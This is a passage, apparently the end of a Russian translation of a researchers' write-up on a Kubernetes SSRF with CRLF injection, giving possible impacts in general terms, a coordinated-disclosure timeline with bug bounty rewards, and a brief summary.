ВсС сцСнарии примСнСния эксплойтов, связанныС с Π²Π΅ΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ Π°Ρ‚Π°ΠΊΠΈ Π½Π° integrity (Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ), ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для Ρ€Π°Π·Ρ€ΡƒΡˆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… дСйствий ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ мастСр-инстансы ΠΈΠ· клиСнтского ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Π° (ΠΈΠ»ΠΈ любого Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ) Π±ΡƒΠ΄ΡƒΡ‚ нСдоступны.

ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ Π² управляСмой срСдС K8s ΠΈ ΠΎΡ†Π΅Π½ΠΈΠ²Π°Π»ΠΈ влияниС Π½Π° Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСбС мноТСство сцСнариСв, способных ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ. Π’ качСствС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ ΠΏΠΎΠ²Ρ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… etcd ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ критичСского Π²Ρ‹Π·ΠΎΠ²Π° ΠΊ API Kubernetes.

Π₯ронология

  • 6 дСкабря 2019 Π³.: ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° сообщСния ΠΎΠ± ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ уязвимости Π² MSRC Bug Bounty.
  • 3 января 2020: Ρ‚Ρ€Π΅Ρ‚ΡŒΡ сторона ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π»Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Kubernetes ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ Π² области бСзопасности. И попросила ΠΈΡ… Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ SSRF ΠΊΠ°ΠΊ внутрСнняя (in-core) ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ. ПослС этого ΠΌΡ‹ прСдставили ΠΎΠ±Ρ‰ΠΈΠΉ ΠΎΡ‚Ρ‡Π΅Ρ‚ с тСхничСскими подробностями ΠΎΠ± источникС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.
  • 15 января 2020: ΠΌΡ‹ прСдоставили Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Kubernetes тСхничСский ΠΈ ΠΎΠ±Ρ‰ΠΈΠΉ ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΏΠΎ ΠΈΡ… запросу (Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ HackerOne).
  • 15 января 2020: Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Kubernetes извСстили нас, Ρ‡Ρ‚ΠΎ half-blind SSRF + ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡ CRLF для ΠΏΡ€ΠΎΡˆΠ»Ρ‹Ρ… Ρ€Π΅Π»ΠΈΠ·ΠΎΠ² считаСтся ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ in-core. ΠœΡ‹ сразу ΠΆΠ΅ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΠ»ΠΈ Π°Π½Π°Π»ΠΈΠ· ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π΄Ρ€ΡƒΠ³ΠΈΡ… поставщиков услуг: ΠΏΠ΅Ρ€Π²ΠΎΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ занималась ΠΊΠΎΠΌΠ°Π½Π΄Π° K8s.
  • 15 января 2020: Ρ‡Π΅Ρ€Π΅Π· HackerOne ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ Π²ΠΎΠ·Π½Π°Π³Ρ€Π°ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΡ‚ MSRC.
  • 16 января 2020: Kubernetes PSC (Product Security Committee) ΠΏΡ€ΠΈΠ·Π½Π°Π» ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΈ попросил Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΅Π΅ Π² Ρ‚Π°ΠΉΠ½Π΅ Π΄ΠΎ сСрСдины ΠΌΠ°Ρ€Ρ‚Π° ΠΈΠ·-Π·Π° большого числа ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΆΠ΅Ρ€Ρ‚Π².
  • 11 фСвраля 2020: ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ Π²ΠΎΠ·Π½Π°Π³Ρ€Π°ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΡ‚ Google VRP.
  • 4 ΠΌΠ°Ρ€Ρ‚Π° 2020: Ρ‡Π΅Ρ€Π΅Π· HackerOne ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ Π²ΠΎΠ·Π½Π°Π³Ρ€Π°ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΡ‚ Kubernetes.
  • 15 ΠΌΠ°Ρ€Ρ‚Π° 2020: ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ΅ раскрытиС ΠΎΡ‚Π»ΠΎΠΆΠ΅Π½ΠΎ ΠΈΠ·-Π·Π° ситуации с COVID-19.
  • 1 июня 2020: совмСстноС заявлСниС Kubernetes + Microsoft ΠΎΠ± уязвимости.

TL;DR

  • ΠœΡ‹ пьСм ΠΏΠΈΠ²ΠΎ ΠΈ ΠΊΡƒΡˆΠ°Π΅ΠΌ ΠΏΠΈΡ†Ρ†Ρƒ πŸ™‚
  • ΠœΡ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ in-core-ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Kubernetes, хотя вовсС Π½Π΅ ΡΠΎΠ±ΠΈΡ€Π°Π»ΠΈΡΡŒ этого Π΄Π΅Π»Π°Ρ‚ΡŒ.
  • ΠœΡ‹ ΠΏΡ€ΠΎΠ²Π΅Π»ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Π½Π°Π»ΠΈΠ· Π² кластСрах Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² ΠΈ смогли ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΡƒΡ‰Π΅Ρ€Π±, причиняСмый ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠ±Π°Π»Π΄Π΅Π½Π½Ρ‹Π΅ бонусы.
  • Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ мноТСство тСхничСских подробностСй. ΠœΡ‹ с Ρ€Π°Π΄ΠΎΡΡ‚ΡŒΡŽ обсудим ΠΈΡ… с Π²Π°ΠΌΠΈ (Twitter: @ReeverZax & @__hach_).
  • Оказалось, Ρ‡Ρ‚ΠΎ всСвозмоТныС Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ составлСниС ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ² Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Π΅ΠΌ оТидалось.

Бсылки

P.S. ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‡ΠΈΠΊΠ°

Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π² нашСм Π±Π»ΠΎΠ³Π΅:

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com